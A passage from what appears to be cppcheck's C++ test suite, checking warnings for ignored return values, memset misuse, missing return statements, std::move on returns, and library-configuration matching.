[ignoredReturnValue]\\n\", errout_str());\n\n check(\"void mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition which returns void!\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" class mystrcmp { mystrcmp() {} };\\n\" // strcmp is a constructor definition here\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(mystrcmp(a, b));\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" bool b = mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6194\n check(\"void foo() {\\n\"\n \" MyStrCmp mystrcmp(x, y);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6197\n check(\"void foo() {\\n\"\n \" abc::def.mystrcmp(a,b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6233\n check(\"int main() {\\n\"\n \" auto lambda = [](double value) {\\n\"\n \" double rounded = floor(value + 0.5);\\n\"\n \" printf(\\\"Rounded value = %f\\\\n\\\", rounded);\\n\"\n \" };\\n\"\n \" lambda(13.3);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6669\n check(\"void foo(size_t size) {\\n\"\n \" void * res{malloc(size)};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7447\n check(\"void foo() {\\n\"\n \" int x{mystrcmp(a,b)};\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7905\n check(\"void foo() {\\n\"\n \" int x({mystrcmp(a,b)});\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // don't crash\n \" DEBUG(123)(mystrcmp(a,b))(fd);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n check(\"struct teststruct {\\n\"\n \" int testfunc1() __attribute__ ((warn_unused_result)) { return 1; }\\n\"\n \" [[nodiscard]] int testfunc2() { return 1; }\\n\"\n \" void foo() { testfunc1(); testfunc2(); }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" teststruct TestStruct1;\\n\"\n \" TestStruct1.testfunc1();\\n\"\n \" TestStruct1.testfunc2();\\n\"\n \" return 0;\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Return value of function testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:4:31]: (warning) Return value of function testfunc2() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:8:17]: (warning) Return value of function TestStruct1.testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:9:17]: (warning) Return value of function TestStruct1.testfunc2() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n // #9006\n check(\"template uint8_t b(std::tuple d) {\\n\"\n \" std::tuple c{std::move(d)};\\n\"\n \" return std::get<0>(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int x; };\\n\"\n \"template \\n\"\n \"A f(int x, Ts... xs) {\\n\"\n \" return {std::move(x), static_cast(xs)...};\\n\"\n \"}\\n\"\n \"A g() { return f(1); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8412 - unused operator result\n check(\"void foo() {\\n\"\n \" !mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" delete *v.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int __attribute__((pure)) p_foo(int);\\n\" // #12697\n \"int __attribute__((const)) c_foo(int);\\n\"\n \"void f() {\\n\"\n \" p_foo(0);\\n\"\n \" c_foo(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Return value of function p_foo() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:5:5]: (warning) Return value of function c_foo() is not used. [ignoredReturnValue]\\n\",\n errout_str());\n }\n\n void checkIgnoredErrorCode() {\n const char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::style).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Error code from the return value of function mystrcmp() is not used. [ignoredReturnErrorCode]\\n\", errout_str());\n }\n\n void memsetZeroBytes() {\n check(\"void f() {\\n\"\n \" memset(p, 10, 0x0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6269 false positives in case of overloaded standard library functions\n check(\"class c {\\n\"\n \" void memset( int i );\\n\"\n \" void f( void ) {\\n\"\n \" memset( 0 );\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7285\n check(\"void f() {\\n\"\n \" memset(&tm, sizeof(tm), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n }\n\n void memsetInvalid2ndParam() {\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 1.0f, 40);\\n\"\n \" int* is2 = new int[10];\\n\"\n \" memset(is2, 0.1f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) The 2nd memset() argument '1.0f' is a float, its representation is implementation defined. [memsetFloat]\\n\"\n \"[test.cpp:5:18]: (portability) The 2nd memset() argument '0.1f' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" float g = computeG();\\n\"\n \" memset(is, g, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (portability) The 2nd memset() argument 'g' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 0.0f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // FP\n \" float x = 2.3f;\\n\"\n \" memset(a, (x?64:0), 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short ss[] = {1, 2};\\n\"\n \" memset(ss, 256, 4);\\n\"\n \" short ss2[2];\\n\"\n \" memset(ss2, -129, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The 2nd memset() argument '256' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\"\n \"[test.cpp:5:18]: (warning) The 2nd memset() argument '-129' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" memset(is, 0xEE, 40);\\n\"\n \" unsigned char* cs = malloc(256);\\n\"\n \" memset(cs, -1, 256);\\n\"\n \" short* ss[30];\\n\"\n \" memset(ss, -128, 60);\\n\"\n \" char cs2[30];\\n\"\n \" memset(cs2, 255, 30);\\n\"\n \" char cs3[30];\\n\"\n \" memset(cs3, 0, 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" const int i = g();\\n\"\n \" memset(is, 1.0f + i, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (portability) The 2nd memset() argument '1.0f+i' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n }\n\n void checkMissingReturn1() {\n check(\"int f() {}\");\n ASSERT_EQUALS(\"[test.cpp:1:10]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n {\n const char code[] = \"int main(void) {}\";\n {\n const Settings s = settingsBuilder().c(Standards::C89).build();\n\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c89)\n ASSERT_EQUALS(\"[test.c:1:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n {\n const Settings s = settingsBuilder().c(Standards::C99).build();\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c99)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.s = &s)); // c++ code\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n check(\"F(A,B) { x=1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto foo4() -> void {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void STDCALL foo() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void operator=(int y) { x=y; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \"back:\\n\"\n \" return 0;\\n\"\n \"ng:\\n\"\n \" x=y;\\n\"\n \" goto back;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unreachable code..\n check(\"int foo(int x) {\\n\"\n \" return 1;\\n\"\n \" (void)x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int x) {\\n\"\n \" if (x) goto out;\\n\"\n \" return 1;\\n\"\n \"out:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // switch\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: break;\\n\" // <- error\n \" case 2: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: return 2; break;\\n\"\n \" default: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool test(unsigned char v1, int v2) {\\n\"\n \" switch (v1) {\\n\"\n \" case 0:\\n\"\n \" switch (v2) {\\n\"\n \" case 48000:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" default:\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if/else\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return 1;\\n\"\n \" }\\n\" // <- error (missing else)\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" ;\\n\" // <- error\n \" } else {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // loop\n check(\"int f(int x) {\\n\"\n \" while (1) {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return {..}\n check(\"std::pair typeDecl(int tok) {\\n\"\n \" if (!tok)\\n\"\n \" return {};\\n\"\n \" else\\n\"\n \" return {1, 2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // noreturn function\n check(\"int f(int x) { exit(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { assert(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { if (x) return 1; else return bar({1}, {}); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto f() -> void {}\"); // #10342\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S1 {\\n\" // #7433\n \" S1& operator=(const S1& r) { if (this != &r) { i = r.i; } }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" S2& operator=(const S2& s) { if (this != &s) { j = s.j; } return *this; }\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"struct S3 {\\n\"\n \" S3& operator=(const S3& t) { if (this != &t) { k = t.k; return *this; } }\\n\"\n \" int k;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:61]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\"\n \"[test.cpp:10:75]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n // #11171\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:51]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}, int> f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:71]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}> f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:64]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}, int>::type f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:84]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}>::type f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" [[noreturn]] void f();\\n\"\n \" int g() { this->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { [[noreturn]] void f(); };\\n\"\n \"int g(S& s) { s.f(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn2() { // #11798\n check(\"int f(bool const a) {\\n\"\n \" switch (a) {\\n\"\n \" case true:\\n\"\n \" return 1;\\n\"\n \" case false:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" auto const b= f(true);\\n\"\n \" auto const c= f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn3() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn4() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n void checkMissingReturn5() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e, bool b) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" switch (b) {\\n\"\n \" case true:\\n\"\n \" return 3;\\n\"\n \" case false:\\n\"\n \" return 4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn6() {// #13180\n check(\"int foo(void)\\n\"\n \"{\\n\"\n \" i = readData();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n // NRVO check\n void returnLocalStdMove1() {\n check(\"struct A{}; A f() { A var; return std::move(var); }\");\n ASSERT_EQUALS(\"[test.cpp:1:45]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, C++03 ctor style\n void returnLocalStdMove2() {\n check(\"struct A{}; A f() { return std::move( A() ); }\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, new ctor style\n void returnLocalStdMove3() {\n check(\"struct A{}; A f() { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // Function argument\n void returnLocalStdMove4() {\n check(\"struct A{}; A f(A a) { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n void returnLocalStdMove5() {\n check(\"struct A{} a; A f1() { return std::move(a); }\\n\"\n \"A f2() { volatile A var; return std::move(var); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string msg{ \\\"abc\\\" }; };\\n\"\n \"std::unique_ptr get(std::vector>& v) {\\n\"\n \" return std::move(v.front());\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" std::vector> v;\\n\"\n \" v.emplace_back(std::make_unique());\\n\"\n \" auto p = get(v);\\n\"\n \" std::cout << p->msg;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string&& f() {\\n\" // #11881\n \" std::string s;\\n\"\n \" return std::move(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid malloc() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = alloca( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\"\n \"[test.cpp:3:17]: (error) Invalid alloca() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void checkLibraryMatchFunctions() {\n /*const*/ Settings s = settingsBuilder(settings).checkLibrary().debugwarnings().build();\n s.daca = true;\n\n check(\"void f() {\\n\"\n \" lib_func();\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n check(\"void f(void* v) {\\n\"\n \" lib_func(v);\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n // #10105\n check(\"class TestFixture {\\n\"\n \"protected:\\n\"\n \" bool prepareTest(const char testname[]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class TestMemleak : private TestFixture {\\n\"\n \" void run() {\\n\"\n \" do { prepareTest(\\\"testFunctionReturnType\\\"); } while (false);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void testFunctionReturnType() {\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11183\n check(\"#include \\n\"\n \"\\n\"\n \"extern void cb(const std::string&);\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" cb(std::string(\\\"\\\"));\\n\"\n \"}\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (information) --check-library: There is no matching configuration for function cb() [checkLibraryFunction]\\n\", errout_str());\n\n // #7375\n check(\"void f() {\\n\"\n \" struct S { int i; char c; };\\n\"\n \" size_t s = sizeof(S);\\n\"\n \" static_assert(s == 9);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char) {}\\n\"\n \"void g() {\\n\"\n \" f(int8_t(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::uint64_t& u) {\\n\"\n \" u = std::uint32_t(u) * std::uint64_t(100);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { throw(1); }\\n\", dinit(CheckOptions, $.s = &s)); // #8958\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using namespace std;\\n\"\n \"void f() { throw range_error(\\\"abc\\\"); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #9002\n \"public:\\n\"\n \" static int f() { return 1; }\\n\"\n \"};\\n\"\n \"void g() { C::f(); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #11223\n \" for (const auto& s : v)\\n\"\n \" s.find(\\\"\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Return value of function s.find() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto* p = new std::vector(5);\\n\"\n \" p->push_back(1);\\n\"\n \" auto* q = new std::vector{ 5, 7 };\\n\"\n \" q->push_back(1);\\n\"\n \" auto* r = new std::vector;\\n\"\n \" r->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p = std::make_shared>();\\n\"\n \" p->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" it->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto v = std::vector{};\\n\"\n \" v.push_back(1);\\n\"\n \" auto w = std::vector{ 1, 2, 3 };\\n\"\n \" w.push_back(1);\\n\"\n \" auto x = std::vector(1);\\n\"\n \" x.push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p(std::make_shared>());\\n\"\n \" p->push_back(1);\\n\"\n \" auto q{ std::make_shared>{} };\\n\"\n \" q->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:2:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:4:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:3:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\"\n \"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct F { void g(int); };\\n\"\n \"void f(std::list& l) {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l.begin(); it != l.end(); ++it)\\n\"\n \" it->g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"auto f() {\\n\"\n \" return std::runtime_error(\\\"abc\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:1:1]: (debug) auto token with no type. [autoNoType]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11543\n \" S() {}\\n\"\n \" std::vector> v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" for (const std::shared_ptr& c : v)\\n\"\n \" c->f(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" struct S { static const std::set s; };\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" const auto& t = N::S::s;\\n\"\n \" if (t.find(\\\"abc\\\") != t.end()) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"void f(std::vector>>& v, int i, int j) {\\n\"\n \" auto& s = v[i][j];\\n\"\n \" s.insert(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v, int i, char c) {\\n\"\n \" const auto& s = v[i];\\n\"\n \" return s.find(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11604\n \" int (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" INT (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T;\\n\"\n \"std::shared_ptr get();\\n\"\n \"void f(int i) {\\n\"\n \" auto p = get();\\n\"\n \" p->h(i);\\n\"\n \" p.reset(nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function T::h() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct S : std::vector {\\n\"\n \" void f(int i) { push_back(i); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto g = []() -> std::string { return \\\"abc\\\"; };\\n\"\n \" auto s = g();\\n\"\n \" if (s.at(0)) {}\\n\"\n \" auto h{ []() -> std::string { return \\\"xyz\\\"; } };\\n\"\n \" auto t = h();\\n\"\n \" if (t.at(0)) {}\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"::std::string f(const char* c) {\\n\" // #12365\n \" return ::std::string(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n 